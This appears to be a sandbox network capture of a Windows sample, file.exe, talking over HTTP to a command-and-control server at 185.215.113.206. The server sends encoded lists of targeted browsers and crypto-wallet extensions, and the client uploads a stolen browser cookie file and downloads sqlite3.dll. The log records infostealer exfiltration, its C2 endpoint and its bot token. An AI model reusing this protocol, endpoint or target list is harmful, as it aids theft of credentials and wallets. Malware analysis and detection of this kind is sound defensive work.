Nov 22, 2024 00:11:22.803735018 CET	407	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:22 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 6a 4a 69 4d 47 55 30 59 57 49 7a 4d 7a 56 6a 4d 54 55 35 59 54 51 34 59 57 4d 31 4f 57 56 6a 4d 47 51 77 4e 6d 4d 31 4d 54 67 32 5a 44 67 77 5a 54 45 35 4d 32 45 33 4e 57 4e 69 4e 7a 64 6b 4e 6d 56 6b 4e 6a 42 69 4d 7a 52 6b 59 54 52 6d 59 6a 49 7a 4d 47 46 6d 5a 6d 5a 6c 4d 32 5a 6a 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NjJiMGU0YWIzMzVjMTU5YTQ4YWM1OWVjMGQwNmM1MTg2ZDgwZTE5M2E3NWNiNzdkNmVkNjBiMzRkYTRmYjIzMGFmZmZlM2ZjfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 22, 2024 00:11:22.831222057 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHIECGCBKFHIEBGHDBK Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 62 30 65 34 61 62 33 33 35 63 31 35 39 61 34 38 61 63 35 39 65 63 30 64 30 36 63 35 31 38 36 64 38 30 65 31 39 33 61 37 35 63 62 37 37 64 36 65 64 36 30 62 33 34 64 61 34 66 62 32 33 30 61 66 66 66 65 33 66 63 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 2d 2d 0d 0a Data Ascii: ------DGHIECGCBKFHIEBGHDBKContent-Disposition: form-data; name="token"62b0e4ab335c159a48ac59ec0d06c5186d80e193a75cb77d6ed60b34da4fb230afffe3fc------DGHIECGCBKFHIEBGHDBKContent-Disposition: form-data; name="message"browsers------DGHIECGCBKFHIEBGHDBK--
Nov 22, 2024 00:11:23.282871008 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:23 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 22, 2024 00:11:23.282929897 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 22, 2024 00:11:23.284759045 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFIDBFHDBGIDHJJEGHI Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 46 49 44 42 46 48 44 42 47 49 44 48 4a 4a 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 62 30 65 34 61 62 33 33 35 63 31 35 39 61 34 38 61 63 35 39 65 63 30 64 30 36 63 35 31 38 36 64 38 30 65 31 39 33 61 37 35 63 62 37 37 64 36 65 64 36 30 62 33 34 64 61 34 66 62 32 33 30 61 66 66 66 65 33 66 63 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 49 44 42 46 48 44 42 47 49 44 48 4a 4a 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 49 44 42 46 48 44 42 47 49 44 48 4a 4a 45 47 48 49 2d 2d 0d 0a Data Ascii: ------FBFIDBFHDBGIDHJJEGHIContent-Disposition: form-data; name="token"62b0e4ab335c159a48ac59ec0d06c5186d80e193a75cb77d6ed60b34da4fb230afffe3fc------FBFIDBFHDBGIDHJJEGHIContent-Disposition: form-data; name="message"plugins------FBFIDBFHDBGIDHJJEGHI--
Nov 22, 2024 00:11:23.745635033 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:23 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 22, 2024 00:11:23.745699883 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 22, 2024 00:11:23.745737076 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 22, 2024 00:11:23.745825052 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 22, 2024 00:11:23.745862007 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Nov 22, 2024 00:11:23.745898008 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Nov 22, 2024 00:11:23.748342991 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDBAFIIECBFHIEBKJJK Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 62 30 65 34 61 62 33 33 35 63 31 35 39 61 34 38 61 63 35 39 65 63 30 64 30 36 63 35 31 38 36 64 38 30 65 31 39 33 61 37 35 63 62 37 37 64 36 65 64 36 30 62 33 34 64 61 34 66 62 32 33 30 61 66 66 66 65 33 66 63 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="token"62b0e4ab335c159a48ac59ec0d06c5186d80e193a75cb77d6ed60b34da4fb230afffe3fc------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="message"fplugins------GHDBAFIIECBFHIEBKJJK--
Nov 22, 2024 00:11:24.200083017 CET	335	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:23 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 22, 2024 00:11:24.217717886 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAEBGHCFCAAFIECAFIII Host: 185.215.113.206 Content-Length: 6375 Connection: Keep-Alive Cache-Control: no-cache
Nov 22, 2024 00:11:24.217758894 CET	6375	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 41 45 42 47 48 43 46 43 41 41 46 49 45 43 41 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 62 30 65 34 Data Ascii: ------BAEBGHCFCAAFIECAFIIIContent-Disposition: form-data; name="token"62b0e4ab335c159a48ac59ec0d06c5186d80e193a75cb77d6ed60b34da4fb230afffe3fc------BAEBGHCFCAAFIECAFIIIContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 22, 2024 00:11:25.196070910 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 22, 2024 00:11:25.471688986 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 22, 2024 00:11:25.922346115 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:25 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 22, 2024 00:11:25.922368050 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 22, 2024 00:11:25.926461935 CET	248	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Nov 22, 2024 00:11:25.927355051 CET	1236	IN	Data Raw: 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 2a f6 0a 00 83 ec 0c 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 73 fc ff ff 83 ec 0c e9 d9 fe ff ff 89 7c 24 08 c7 44 24 04 02 00 00 00 89 34 24 e8 07 f6 0a 00 83 ec 0c 89 c5 e9 bb fe ff ff 8d Data Ascii: \|$D$4$*\|$D$4$s\|$D$4$'aT$$tL$(D$ M&T$T$U=xgat9$pa\|aQtD$pa$aRRt$xga$a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49753	185.215.113.206	80	5356	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 00:11:35.454673052 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDBGHIDGDGHCBGDGCBFI Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 42 47 48 49 44 47 44 47 48 43 42 47 44 47 43 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 62 30 65 34 61 62 33 33 35 63 31 35 39 61 34 38 61 63 35 39 65 63 30 64 30 36 63 35 31 38 36 64 38 30 65 31 39 33 61 37 35 63 62 37 37 64 36 65 64 36 30 62 33 34 64 61 34 66 62 32 33 30 61 66 66 66 65 33 66 63 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 49 44 47 44 47 48 43 42 47 44 47 43 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 49 44 47 44 47 48 43 42 47 44 47 43 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------HDBGHIDGDGHCBGDGCBFIContent-Disposition: form-data; name="token"62b0e4ab335c159a48ac59ec0d06c5186d80e193a75cb77d6ed60b34da4fb230afffe3fc------HDBGHIDGDGHCBGDGCBFIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------HDBGHIDGDGHCBGDGCBFIContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------HDBGHIDGDGHCBGDGCBFI--
Nov 22, 2024 00:11:37.439009905 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
